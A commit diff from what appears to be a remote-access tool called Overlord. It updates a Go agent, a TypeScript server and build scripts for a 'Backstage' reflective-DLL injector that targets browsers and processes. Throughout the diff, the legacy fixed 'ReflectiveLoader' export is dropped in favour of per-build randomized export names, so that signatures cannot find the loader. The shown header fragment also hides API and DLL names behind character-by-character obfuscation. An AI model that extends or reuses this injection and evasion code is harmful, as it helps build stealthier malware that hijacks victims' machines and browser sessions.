_OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'),
_OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
_OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'),
_OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0
};
static const unsigned char _enc_ntdll_dll[] = {
_OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'),
_OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'),
_OBF_CHR('l'), 0
};
static const unsigned char _enc_RtlAddFunctionTable[] = {
_OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'),
_OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'),
_OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
_OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'),
_OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0
};
#ifdef __cplusplus
}
#endif
BackstageInjection/src/seh_compat.h
-18
View File
@@ -1,18 +0,0 @@
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
#ifndef _backstage_SEH_COMPAT_H
#define _backstage_SEH_COMPAT_H
#ifdef __MINGW32__
// MinGW doesn't support MSVC structured exception handling.
// Replace __try/__except with plain code execution (no SEH guard).
#define __try
#define __except(x) if (0)
#define __finally
// MSVC uses GetExceptionCode() inside __except; provide a stub.
#ifndef GetExceptionCode
#define GetExceptionCode() 0
#endif
#endif // __MINGW32__
#endif // _backstage_SEH_COMPAT_H
Overlord-Client/cmd/agent/capture/backstage_inject_windows.go
+1 -5
View File
@@ -1750,12 +1750,8 @@ func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
// BackstageInjection reflective loader entry. The loader entry is exported // BackstageInjection reflective loader entry. The loader entry is exported
// under a per-build random name of the form "x" + six lowercase hex digits // under a per-build random name of the form "x" + six lowercase hex digits
// (generated by the DLL's build.rs), so a fixed string cannot be used to // (generated by the DLL's build.rs), so a fixed string cannot be used to
// find it. The legacy fixed name is still accepted so DLL artifacts produced // find it.
// by older builds keep working.
func isBackstageLoaderExport(name string) bool { func isBackstageLoaderExport(name string) bool {
if name == "ReflectiveLoader" {
return true
}
if len(name) != 7 || name[0] != 'x' { if len(name) != 7 || name[0] != 'x' {
return false return false
} }
Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go
+3 -3
View File
@@ -115,13 +115,13 @@ func TestGetProcessesLockingFileShortPathDoesNotPanic(t *testing.T) {
_ = getProcessesLockingFile("a") _ = getProcessesLockingFile("a")
} }
func TestIsBackstageLoaderExportSupportsBothCommandVersions(t *testing.T) { func TestIsBackstageLoaderExportAcceptsRandomizedExport(t *testing.T) {
for _, name := range []string{"ReflectiveLoader", "x012abc", "xffffff"} { for _, name := range []string{"x012abc", "xffffff"} {
if !isBackstageLoaderExport(name) { if !isBackstageLoaderExport(name) {
t.Fatalf("expected loader export %q to be accepted", name) t.Fatalf("expected loader export %q to be accepted", name)
} }
} }
for _, name := range []string{"reflectiveloader", "x012ABc", "x12345", "x1234567", "other"} { for _, name := range []string{"ReflectiveLoader", "reflectiveloader", "x012ABc", "x12345", "x1234567", "other"} {
if isBackstageLoaderExport(name) { if isBackstageLoaderExport(name) {
t.Fatalf("expected loader export %q to be rejected", name) t.Fatalf("expected loader export %q to be rejected", name)
} }
Overlord-Client/cmd/agent/wire/wire_contract_generated.go
+4 -4
View File
@@ -3,7 +3,7 @@
package wire package wire
const ( const (
WireSchemaVersion = 1 WireSchemaVersion = 2
WireProtocolVersion = 1 WireProtocolVersion = 1
) )
@@ -456,10 +456,10 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{
CommandBackstageSetQuality: {Min: 1, Max: 1}, CommandBackstageSetQuality: {Min: 1, Max: 1},
CommandBackstageSetResolution: {Min: 1, Max: 1}, CommandBackstageSetResolution: {Min: 1, Max: 1},
CommandBackstageStart: {Min: 1, Max: 1}, CommandBackstageStart: {Min: 1, Max: 1},
CommandBackstageStartBrowserInjected: {Min: 1, Max: 2}, CommandBackstageStartBrowserInjected: {Min: 2, Max: 3},
CommandBackstageStartChromeInjected: {Min: 1, Max: 2}, CommandBackstageStartChromeInjected: {Min: 2, Max: 3},
CommandBackstageStartProcess: {Min: 1, Max: 1}, CommandBackstageStartProcess: {Min: 1, Max: 1},
CommandBackstageStartProcessInjected: {Min: 1, Max: 2}, CommandBackstageStartProcessInjected: {Min: 2, Max: 3},
CommandBackstageStop: {Min: 1, Max: 1}, CommandBackstageStop: {Min: 1, Max: 1},
CommandBackstageWindowList: {Min: 1, Max: 1}, CommandBackstageWindowList: {Min: 1, Max: 1},
CommandClientLogsRequest: {Min: 1, Max: 1}, CommandClientLogsRequest: {Min: 1, Max: 1},
Overlord-Client/cmd/agent/wire/wire_contract_test.go
+9 -6
View File
@@ -17,20 +17,23 @@ func TestGeneratedWireContract(t *testing.T) {
if !ok { if !ok {
t.Fatalf("missing version range for %s", command) t.Fatalf("missing version range for %s", command)
} }
wantMax := 1 wantMin, wantMax := 1, 1
switch command { switch command {
case CommandBackstageStartBrowserInjected, CommandBackstageStartChromeInjected, CommandBackstageStartProcessInjected: case CommandBackstageStartBrowserInjected, CommandBackstageStartChromeInjected, CommandBackstageStartProcessInjected:
wantMax = 2 wantMin, wantMax = 2, 3
} }
if versionRange.Min != 1 || versionRange.Max != wantMax { if versionRange.Min != wantMin || versionRange.Max != wantMax {
t.Fatalf("unexpected version range for %s: %+v", command, versionRange) t.Fatalf("unexpected version range for %s: %+v", command, versionRange)
} }
if !IsSupportedCommandVersion(string(command), 1) { if IsSupportedCommandVersion(string(command), 1) != (wantMin == 1) {
t.Fatalf("%s must support v1", command) t.Fatalf("unexpected v1 support for %s", command)
} }
if IsSupportedCommandVersion(string(command), 2) != (wantMax == 2) { if IsSupportedCommandVersion(string(command), 2) != (wantMin <= 2 && wantMax >= 2) {
t.Fatalf("unexpected v2 support for %s", command) t.Fatalf("unexpected v2 support for %s", command)
} }
if IsSupportedCommandVersion(string(command), 3) != (wantMin <= 3 && wantMax >= 3) {
t.Fatalf("unexpected v3 support for %s", command)
}
} }
if !IsCommandType("desktop_start") { if !IsCommandType("desktop_start") {
t.Fatal("desktop_start must be a known command") t.Fatal("desktop_start must be a known command")
Overlord-Server/src/command-compatibility.test.ts
+17 -8
View File
@@ -46,25 +46,34 @@ describe("command version negotiation", () => {
}); });
}); });
test("keeps legacy Backstage agents on v1 and negotiates v2 with new agents", () => { test("rejects legacy (v1-only) Backstage agents and negotiates v2/v3 with newer agents", () => {
const command = "backstage_start_browser_injected" as const; const command = "backstage_start_browser_injected" as const;
const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) }; const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) };
expect(versionCommandForClient({}, { // Pre-3.0 agents assume v1, which the server no longer supports.
type: "command", expect(getCommandCompatibility({}, command)).toMatchObject({
commandType: command, supported: false,
id: "legacy-backstage", reason: "no_common_version",
payload, });
})).toMatchObject({ commandVersion: 1, payload }); expect(() => requireCommandVersion({}, command)).toThrow("no shared version");
expect(versionCommandForClient({ expect(versionCommandForClient({
commandVersions: { [command]: { min: 1, max: 2 } }, commandVersions: { [command]: { min: 1, max: 2 } },
}, { }, {
type: "command", type: "command",
commandType: command, commandType: command,
id: "current-backstage", id: "v2-backstage",
payload, payload,
})).toMatchObject({ commandVersion: 2, payload }); })).toMatchObject({ commandVersion: 2, payload });
expect(versionCommandForClient({
commandVersions: { [command]: { min: 2, max: 3 } },
}, {
type: "command",
commandType: command,
id: "v3-backstage",
payload,
})).toMatchObject({ commandVersion: 3, payload });
}); });
test("strictly reports missing commands and non-overlapping versions", () => { test("strictly reports missing commands and non-overlapping versions", () => {
Overlord-Server/src/generated/wire-contract.ts
+7 -7
View File
@@ -1,6 +1,6 @@
// Code generated by scripts/generate-wire-protocol.ts; DO NOT EDIT. // Code generated by scripts/generate-wire-protocol.ts; DO NOT EDIT.
export const WIRE_SCHEMA_VERSION = 1 as const; export const WIRE_SCHEMA_VERSION = 2 as const;
export const WIRE_PROTOCOL_VERSION = 1 as const; export const WIRE_PROTOCOL_VERSION = 1 as const;
export const WIRE_MESSAGE_TYPES = [ export const WIRE_MESSAGE_TYPES = [
@@ -376,20 +376,20 @@ export const COMMAND_VERSION_SUPPORT = {
"max": 1 "max": 1
}, },
"backstage_start_browser_injected": { "backstage_start_browser_injected": {
"min": 1, "min": 2,
"max": 2 "max": 3
}, },
"backstage_start_chrome_injected": { "backstage_start_chrome_injected": {
"min": 1, "min": 2,
"max": 2 "max": 3
}, },
"backstage_start_process": { "backstage_start_process": {
"min": 1, "min": 1,
"max": 1 "max": 1
}, },
"backstage_start_process_injected": { "backstage_start_process_injected": {
"min": 1, "min": 2,
"max": 2 "max": 3
}, },
"backstage_stop": { "backstage_stop": {
"min": 1, "min": 1,
Overlord-Server/src/protocol-contract.test.ts
+4 -2
View File
@@ -34,9 +34,11 @@ describe("generated wire protocol contract", () => {
expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length); expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length);
for (const command of COMMAND_TYPES) { for (const command of COMMAND_TYPES) {
const isVersioned = versionedBackstageCommands.has(command); const isVersioned = versionedBackstageCommands.has(command);
expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: isVersioned ? 2 : 1 }); expect(COMMAND_VERSION_SUPPORT[command].min).toBe(isVersioned ? 2 : 1);
expect(isSupportedCommandVersion(command, 1)).toBe(true); expect(COMMAND_VERSION_SUPPORT[command].max).toBe(isVersioned ? 3 : 1);
expect(isSupportedCommandVersion(command, 1)).toBe(!isVersioned);
expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned); expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned);
expect(isSupportedCommandVersion(command, 3)).toBe(isVersioned);
if (isVersioned) { if (isVersioned) {
expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion"); expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion");
} else { } else {
Overlord-Server/src/server/backstage-dll-cache.test.ts
+4 -5
View File
@@ -1,13 +1,12 @@
import { describe, expect, test } from "bun:test"; import { describe, expect, test } from "bun:test";
import { import {
BACKSTAGE_DLL_NAME, BACKSTAGE_DLL_NAME,
BACKSTAGE_LEGACY_DLL_NAME,
injectionDllCandidates, injectionDllCandidates,
} from "./backstage-dll-cache"; } from "./backstage-dll-cache";
describe("Backstage DLL command-version artifacts", () => { describe("Backstage DLL artifacts", () => {
test("maps v1 to the fixed-export artifact and v2 to the randomized artifact", () => { test("serves a single randomized-export artifact", () => {
expect(injectionDllCandidates(1).every((candidate) => candidate.endsWith(BACKSTAGE_LEGACY_DLL_NAME))).toBe(true); expect(injectionDllCandidates().length).toBeGreaterThan(0);
expect(injectionDllCandidates(2).every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true); expect(injectionDllCandidates().every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true);
}); });
}); });
Overlord-Server/src/server/backstage-dll-cache.ts
+27 -35
View File
@@ -5,71 +5,63 @@ import { logger } from "../logger";
import { resolveRuntimeRoot } from "./runtime-paths"; import { resolveRuntimeRoot } from "./runtime-paths";
export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll"; export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll";
export const BACKSTAGE_LEGACY_DLL_NAME = "BackstageInjection.legacy.x64.dll";
// Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is // Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is
// used so a re-randomized (rebuild) copy survives container restarts and is // used so a re-randomized (rebuild) copy survives container restarts and is
// preferred over the image-baked dist-clients copy. Overrideable for unusual // preferred over the image-baked dist-clients copy. Overrideable for unusual
// deployments. // deployments.
export function backstageDllOutputPath(commandVersion = 2): string { export function backstageDllOutputPath(): string {
const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim(); const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim();
if (explicit) { if (explicit) {
const resolved = path.resolve(explicit); return path.resolve(explicit);
return commandVersion === 1
? path.join(path.dirname(resolved), BACKSTAGE_LEGACY_DLL_NAME)
: resolved;
} }
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME; return path.join(ensureDataDir(), "dist-clients", BACKSTAGE_DLL_NAME);
return path.join(ensureDataDir(), "dist-clients", name);
} }
function builtinDllCandidates(commandVersion: number): string[] { function builtinDllCandidates(): string[] {
const runtimeRoot = resolveRuntimeRoot(); const runtimeRoot = resolveRuntimeRoot();
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
return [ return [
path.resolve(runtimeRoot, "dist-clients", name), path.resolve(runtimeRoot, "dist-clients", BACKSTAGE_DLL_NAME),
path.resolve(process.cwd(), "dist-clients", name), path.resolve(process.cwd(), "dist-clients", BACKSTAGE_DLL_NAME),
path.resolve(import.meta.dir, "../../dist-clients", name), path.resolve(import.meta.dir, "../../dist-clients", BACKSTAGE_DLL_NAME),
]; ];
} }
export function injectionDllCandidates(commandVersion = 2): string[] { export function injectionDllCandidates(): string[] {
// Fresh builds land in the data dir first; image-baked dist-clients copies // Fresh builds land in the data dir first; image-baked dist-clients copies
// are the offline fallback. // are the offline fallback.
return [backstageDllOutputPath(commandVersion), ...builtinDllCandidates(commandVersion)]; return [backstageDllOutputPath(), ...builtinDllCandidates()];
} }
type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number }; type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number };
const dllCache = new Map<number, DllCacheEntry>(); let dllCache: DllCacheEntry | null = null;
export function invalidateBackstageDll(): void { export function invalidateBackstageDll(): void {
dllCache.clear(); dllCache = null;
} }
export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null { export function getInjectionDllBytes(): Uint8Array | null {
const artifactVersion = commandVersion === 1 ? 1 : 2; const candidates = injectionDllCandidates();
const candidates = injectionDllCandidates(artifactVersion);
const cached = dllCache.get(artifactVersion);
if (cached) { if (dllCache) {
// If a freshly rebuilt DLL exists in the data dir but the cache points at // If a freshly rebuilt DLL exists in the data dir but the cache points at
// an older path, rescan instead of serving stale bytes. // an older path, rescan instead of serving stale bytes.
const freshOutput = backstageDllOutputPath(artifactVersion); const freshOutput = backstageDllOutputPath();
if (path.resolve(cached.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) { if (path.resolve(dllCache.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
try { try {
const st = statSync(cached.path); const st = statSync(dllCache.path);
if (st.mtimeMs === cached.mtimeMs) { if (st.mtimeMs === dllCache.mtimeMs) {
return cached.bytes; return dllCache.bytes;
} }
const bytes = new Uint8Array(readFileSync(cached.path)); const bytes = new Uint8Array(readFileSync(dllCache.path));
dllCache.set(artifactVersion, { bytes, path: cached.path, mtimeMs: st.mtimeMs }); dllCache = { bytes, path: dllCache.path, mtimeMs: st.mtimeMs };
logger.info(`[backstage] reloaded v${artifactVersion} injection DLL from ${cached.path} (${bytes.length} bytes)`); logger.info(`[backstage] reloaded injection DLL from ${dllCache.path} (${bytes.length} bytes)`);
return bytes; return bytes;
} catch { } catch {
dllCache.delete(artifactVersion); dllCache = null;
} }
} else { } else {
dllCache.delete(artifactVersion); dllCache = null;
} }
} }
@@ -78,14 +70,14 @@ export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null {
try { try {
const st = statSync(dllPath); const st = statSync(dllPath);
const bytes = new Uint8Array(readFileSync(dllPath)); const bytes = new Uint8Array(readFileSync(dllPath));
dllCache.set(artifactVersion, { bytes, path: dllPath, mtimeMs: st.mtimeMs }); dllCache = { bytes, path: dllPath, mtimeMs: st.mtimeMs };
logger.info(`[backstage] loaded v${artifactVersion} injection DLL from ${dllPath} (${bytes.length} bytes)`); logger.info(`[backstage] loaded injection DLL from ${dllPath} (${bytes.length} bytes)`);
return bytes; return bytes;
} catch { } catch {
continue; continue;
} }
} }
logger.warn(`[backstage] v${artifactVersion} injection DLL not found. Checked: ${candidates.join(", ")}`); logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
return null; return null;
} }
Overlord-Server/src/server/backstage-dll-manager.ts
+2 -6
View File
@@ -6,7 +6,6 @@ import { ensureToolchain, getToolchainRoot } from "./toolchain-manager";
import { resolveRuntimeRoot } from "./runtime-paths"; import { resolveRuntimeRoot } from "./runtime-paths";
import { import {
BACKSTAGE_DLL_NAME, BACKSTAGE_DLL_NAME,
BACKSTAGE_LEGACY_DLL_NAME,
backstageDllOutputPath, backstageDllOutputPath,
invalidateBackstageDll, invalidateBackstageDll,
} from "./backstage-dll-cache"; } from "./backstage-dll-cache";
@@ -170,8 +169,7 @@ export async function rebuildBackstageDll(
_building = true; _building = true;
_lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." }; _lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." };
const outPath = backstageDllOutputPath(2); const outPath = backstageDllOutputPath();
const legacyOutPath = backstageDllOutputPath(1);
const outDir = path.dirname(outPath); const outDir = path.dirname(outPath);
try { try {
@@ -207,7 +205,6 @@ export async function rebuildBackstageDll(
fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter); fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter);
} }
Object.assign(fullEnv, env); Object.assign(fullEnv, env);
delete fullEnv.BACKSTAGE_LOADER_EXPORT;
delete fullEnv.BACKSTAGE_LOADER_SEED; delete fullEnv.BACKSTAGE_LOADER_SEED;
const streamLines = async (stream: ReadableStream<Uint8Array> | null) => { const streamLines = async (stream: ReadableStream<Uint8Array> | null) => {
@@ -255,7 +252,6 @@ export async function rebuildBackstageDll(
}; };
await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath); await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath);
await buildArtifact({ BACKSTAGE_LOADER_EXPORT: "ReflectiveLoader" }, legacyOutPath);
const exportName = readPeExportName(outPath); const exportName = readPeExportName(outPath);
invalidateBackstageDll(); invalidateBackstageDll();
@@ -264,7 +260,7 @@ export async function rebuildBackstageDll(
startedAt: _lastBuild.startedAt, startedAt: _lastBuild.startedAt,
finishedAt: Date.now(), finishedAt: Date.now(),
ok: true, ok: true,
message: `DLLs rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}) and ${BACKSTAGE_LEGACY_DLL_NAME} (${fs.statSync(legacyOutPath).size} bytes, export: ReflectiveLoader).`, message: `DLL rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}).`,
}; };
send({ send({
type: "output", type: "output",
Overlord-Server/src/server/ws-console-rd-backstage.ts
+4 -1
View File
@@ -40,7 +40,10 @@ function getVersionedInjectionDll(
): Uint8Array | null { ): Uint8Array | null {
if (!target) return null; if (!target) return null;
try { try {
return getInjectionDllBytes(requireCommandVersion(target, commandType)); // Gate on command negotiation so clients that cannot run the command are
// rejected, then serve the single randomized-export injection DLL.
requireCommandVersion(target, commandType);
return getInjectionDllBytes();
} catch (error) { } catch (error) {
logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`); logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`);
return null; return null;
protocol/wire-contract.json
+22 -4
View File
@@ -1,6 +1,6 @@
{ {
"$schema": "./wire-contract.schema.json", "$schema": "./wire-contract.schema.json",
"schemaVersion": 1, "schemaVersion": 2,
"protocolVersion": 1, "protocolVersion": 1,
"encoding": "messagepack", "encoding": "messagepack",
"compatibility": "additive", "compatibility": "additive",
@@ -8,32 +8,50 @@
"defaultVersion": 1, "defaultVersion": 1,
"overrides": { "overrides": {
"backstage_start_browser_injected": { "backstage_start_browser_injected": {
"latestVersion": 2, "latestVersion": 3,
"minVersion": 2,
"changes": { "changes": {
"2": { "2": {
"breaking": true, "breaking": true,
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export", "summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits" "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
},
"3": {
"breaking": true,
"summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served",
"migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits"
} }
} }
}, },
"backstage_start_chrome_injected": { "backstage_start_chrome_injected": {
"latestVersion": 2, "latestVersion": 3,
"minVersion": 2,
"changes": { "changes": {
"2": { "2": {
"breaking": true, "breaking": true,
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export", "summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits" "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
},
"3": {
"breaking": true,
"summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served",
"migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits"
} }
} }
}, },
"backstage_start_process_injected": { "backstage_start_process_injected": {
"latestVersion": 2, "latestVersion": 3,
"minVersion": 2,
"changes": { "changes": {
"2": { "2": {
"breaking": true, "breaking": true,
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export", "summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits" "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
},
"3": {
"breaking": true,
"summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served",
"migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits"
} }
} }
} }
protocol/wire-contract.schema.json
+1
View File
@@ -35,6 +35,7 @@
"required": ["latestVersion", "changes"], "required": ["latestVersion", "changes"],
"properties": { "properties": {
"latestVersion": { "type": "integer", "minimum": 2 }, "latestVersion": { "type": "integer", "minimum": 2 },
"minVersion": { "type": "integer", "minimum": 1 },
"changes": { "changes": {
"type": "object", "type": "object",
"patternProperties": { "patternProperties": {
scripts/build-backstage-dll.bat
-11
View File
@@ -13,7 +13,6 @@ set "CRATE_DIR=%ROOT%BackstageInjection-Rust"
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
set "TARGET=x86_64-pc-windows-gnu" set "TARGET=x86_64-pc-windows-gnu"
set "DLL_NAME=BackstageInjection.x64.dll" set "DLL_NAME=BackstageInjection.x64.dll"
set "LEGACY_DLL_NAME=BackstageInjection.legacy.x64.dll"
where cargo >nul 2>&1 where cargo >nul 2>&1
if %ERRORLEVEL% neq 0 ( if %ERRORLEVEL% neq 0 (
@@ -24,7 +23,6 @@ if %ERRORLEVEL% neq 0 (
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
echo Building randomized BackstageInjection DLL for %TARGET% ... echo Building randomized BackstageInjection DLL for %TARGET% ...
set "BACKSTAGE_LOADER_EXPORT="
set "BACKSTAGE_LOADER_SEED=%RANDOM%%RANDOM%%RANDOM%" set "BACKSTAGE_LOADER_SEED=%RANDOM%%RANDOM%%RANDOM%"
cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml" cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
if %ERRORLEVEL% neq 0 goto :error if %ERRORLEVEL% neq 0 goto :error
@@ -35,17 +33,8 @@ if not exist "%SRC_DLL%" goto :error
copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul
if %ERRORLEVEL% neq 0 goto :error if %ERRORLEVEL% neq 0 goto :error
echo Building legacy BackstageInjection DLL for %TARGET% ...
set "BACKSTAGE_LOADER_SEED="
set "BACKSTAGE_LOADER_EXPORT=ReflectiveLoader"
cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
if %ERRORLEVEL% neq 0 goto :error
copy /y "%SRC_DLL%" "%OUT_DIR%\%LEGACY_DLL_NAME%" >nul
if %ERRORLEVEL% neq 0 goto :error
echo. echo.
echo Built: %OUT_DIR%\%DLL_NAME% echo Built: %OUT_DIR%\%DLL_NAME%
echo Built: %OUT_DIR%\%LEGACY_DLL_NAME%
exit /b 0 exit /b 0
:error :error
scripts/build-backstage-dll.sh
+1 -9
View File
@@ -16,7 +16,6 @@ CRATE_DIR="${BACKSTAGE_CRATE_DIR:-BackstageInjection-Rust}"
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}" OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
TARGET="x86_64-pc-windows-gnu" TARGET="x86_64-pc-windows-gnu"
DLL_NAME="BackstageInjection.x64.dll" DLL_NAME="BackstageInjection.x64.dll"
LEGACY_DLL_NAME="BackstageInjection.legacy.x64.dll"
if ! command -v cargo >/dev/null 2>&1; then if ! command -v cargo >/dev/null 2>&1; then
echo "ERROR: cargo not found. Install a Rust toolchain (rustup)." echo "ERROR: cargo not found. Install a Rust toolchain (rustup)."
@@ -38,7 +37,7 @@ fi
mkdir -p "$OUT_DIR" mkdir -p "$OUT_DIR"
echo "Building randomized Rust BackstageInjection DLL ($TARGET) ..." echo "Building randomized Rust BackstageInjection DLL ($TARGET) ..."
env -u BACKSTAGE_LOADER_EXPORT BACKSTAGE_LOADER_SEED="${BACKSTAGE_FRESH:-$(date +%s%N)}" \ BACKSTAGE_LOADER_SEED="${BACKSTAGE_FRESH:-$(date +%s%N)}" \
cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml" cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll" SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll"
@@ -51,11 +50,4 @@ cp -f "$SRC_DLL" "$OUT_DIR/$DLL_NAME"
echo "Built: $OUT_DIR/$DLL_NAME" echo "Built: $OUT_DIR/$DLL_NAME"
ls -la "$OUT_DIR/$DLL_NAME" ls -la "$OUT_DIR/$DLL_NAME"
echo "Building legacy Rust BackstageInjection DLL ($TARGET) ..."
BACKSTAGE_LOADER_EXPORT=ReflectiveLoader \
cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
cp -f "$SRC_DLL" "$OUT_DIR/$LEGACY_DLL_NAME"
echo "Built: $OUT_DIR/$LEGACY_DLL_NAME"
ls -la "$OUT_DIR/$LEGACY_DLL_NAME"
echo "Done." echo "Done."
scripts/generate-wire-protocol.ts
+10 -1
View File
@@ -10,6 +10,7 @@ type Contract = {
defaultVersion: 1; defaultVersion: 1;
overrides: Record<string, { overrides: Record<string, {
latestVersion: number; latestVersion: number;
minVersion?: number;
changes: Record<string, { changes: Record<string, {
breaking: true; breaking: true;
summary: string; summary: string;
@@ -62,6 +63,14 @@ for (const [command, override] of Object.entries(contract.commandVersioning.over
if (!Number.isInteger(override.latestVersion) || override.latestVersion < 2) { if (!Number.isInteger(override.latestVersion) || override.latestVersion < 2) {
throw new Error(`latestVersion for ${command} must be at least 2`); throw new Error(`latestVersion for ${command} must be at least 2`);
} }
if (
override.minVersion !== undefined &&
(!Number.isInteger(override.minVersion) ||
override.minVersion < 1 ||
override.minVersion > override.latestVersion)
) {
throw new Error(`minVersion for ${command} must be an integer between 1 and latestVersion`);
}
for (let version = 2; version <= override.latestVersion; version += 1) { for (let version = 2; version <= override.latestVersion; version += 1) {
const change = override.changes[String(version)]; const change = override.changes[String(version)];
if ( if (
@@ -112,7 +121,7 @@ const commandVersionSupport = Object.fromEntries(
commands.map((command) => [ commands.map((command) => [
command, command,
{ {
min: 1, min: contract.commandVersioning.overrides[command]?.minVersion ?? 1,
max: contract.commandVersioning.overrides[command]?.latestVersion ?? 1, max: contract.commandVersioning.overrides[command]?.latestVersion ?? 1,
}, },
]), ]),
scripts/obfuscate-strings.py
+2 -2
View File
@@ -3,7 +3,7 @@
